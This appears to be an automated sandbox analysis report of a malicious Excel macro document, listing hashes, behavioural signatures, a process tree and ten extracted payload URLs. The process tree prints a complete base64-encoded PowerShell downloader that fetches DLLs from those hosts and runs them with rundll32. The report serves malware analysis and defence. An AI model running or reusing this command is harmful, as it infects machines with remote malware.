Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 22:37
General
-
Target
73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd.xls
-
Size
141KB
-
MD5
a16fbff1f5cb9686bb89b10e438fa353
-
SHA1
ed66c497457afb8309866e2cacf62857d9e844c9
-
SHA256
73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd
-
SHA512
35fce4faf788b1b5e074ee55a4ef2b2956d6a5b22f5fc5d1daa34bfdd5c36ccd85ac5808088d0e8a1cac147f6a4033ed8fd5e55e0930c76cbb2bdc6d74c32642
-
SSDEEP
3072:P7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TI0Gxc:zcKoSsxzNDZLDZjlbR868O8K0c03D38X
Malware Config
Extracted
http://chupahfashion.com/eh6bwxk/bowptl/cLo9eq8v8Vht/
http://ancyh.xyz/Fox-C/LxAhgyO3fMg/
http://gravton-dev-cms.policyfest.com/Fox-C/BMOkGelwu/
https://capitalui.futuristic.agency/wp-admin/hwi9bnmXFFm3doo/
http://cptdmy.com/zqtr/zdJE0jEOxL/
https://weviralyou.com/wp-content/yl5qV15jWWfaGdSZLR/
https://megabyte-xtnegocios.com/ys3v1clw/AKm6Q9/
https://vmsparamedical.com/urjk0xr/PhfwL/
https://viprait.com/lag5gn/cdy6k/
https://comingsoon.futuristic.agency/svg/p4xODmupFbHPnr/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\73938b7c33abea137db59379cfb5480c697197ff03aebeee8921cd82dadf23bd.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\ihofbnm.bat" "2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYwBoAHUAcABhAGgAZgBhAHMAaABpAG8AbgAuAGMAbwBtAC8AZQBoADYAYgB3AHgAawAvAGIAbwB3AHAAdABsAC8AYwBMAG8AOQBlAHEAOAB2ADgAVgBoAHQALwAsAGgAdAB0AHAAOgAvAC8AYQBuAGMAeQBoAC4AeAB5AHoALwBGAG8AeAAtAEMALwBMAHgAQQBoAGcAeQBPADMAZgBNAGcALwAsAGgAdAB0AHAAOgAvAC8AZwByAGEAdgB0AG8AbgAtAGQAZQB2AC0AYwBtAHMALgBwAG8AbABpAGMAeQBmAGUAcwB0AC4AYwBvAG0ALwBGAG8AeAAtAEMALwBCAE0ATwBrAEcAZQBsAHcAdQAvACwAaAB0AHQAcABzADoALwAvAGMAYQBwAGkAdABhAGwAdQBpAC4AZgB1AHQAdQByAGkAcwB0AGkAYwAuAGEAZwBlAG4AYwB5AC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB3AGkAOQBiAG4AbQBYAEYARgBtADMAZABvAG8ALwAsAGgAdAB0AHAAOgAvAC8AYwBwAHQAZABtAHkALgBjAG8AbQAvAHoAcQB0AHIALwB6AGQASgBFADAAagBFAE8AeABMAC8ALABoAHQAdABwAHMAOgAvAC8AdwBlAHYAaQByAGEAbAB5AG8AdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHkAbAA1AHEAVgAxADUAagBXAFcAZgBhAEcAZABTAFoATABSAC8ALABoAHQAdABwAHMAOgAvAC8AbQBlAGcAYQBiAHkAdABlAC0AeAB0AG4AZQBnAG8AYwBpAG8AcwAuAGMAbwBtAC8AeQBzADMAdgAxAGMAbAB3AC8AQQBLAG0ANgBRADkALwAsAGgAdAB0AHAAcwA6AC8ALwB2AG0AcwBwAGEAcgBhAG0AZQBkAGkAYwBhAGwALgBjAG8AbQAvAHUAcgBqAGsAMAB4AHIALwBQAGgAZgB3AEwALwAsAGgAdAB0AHAAcwA6AC8ALwB2AGkAcAByAGEAaQB0AC4AYwBvAG0ALwBsAGEAZwA1AGcAbgAvAGMAZAB5ADYAawAvACwAaAB0AHQAcABzADoALwAvAGMAbwBtAGkAbgBnAHMAbwBvAG4ALgBmAHUAdAB1AHIAaQBzAHQAaQBjAC4AYQBnAGUAbgBjAHkALwBzAHYAZwAvAHAANAB4AE8ARABtAHUAcABGAGIASABQAG4AcgAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJAByAG8AdwBpAGYAaQB1AGQAKQB7ACQAcgByAHkAaQB1AGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABmAGcAaABpAHUAcwA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAcgByAHkAaQB1AGQAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzACkAewBpAGYAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAcwB5AHMAdwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAdAB5AGkAZAB1AGkAcwBkAGYAZgA9ACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwArACIALABmACIAKwAkAGYAZwBoAGkAdQBzADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZwBoAEQARABGAEoASABrADUAZgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHQAeQBpAGQAdQBpAHMAZABmAGYAOwBiAHIAZQBhAGsAOwB9AH0AfQA=3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5d7f8d77efca69f7600e190537d147b6c
SHA19709843ea19f342b3a95075588c4b6fdb688623d
SHA2568fe05c046c282ee13765fb78ba5b27201571a74a46dbc901898255c111727caf
SHA512dd975f74367e9ddaed18e0630556f14f8bd32f5e89ec13b92f933cbdfc32951e61b4da406407cb7e7cd37a2fe41726c200a0c1377ac8686f835eccfec599b5e2
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB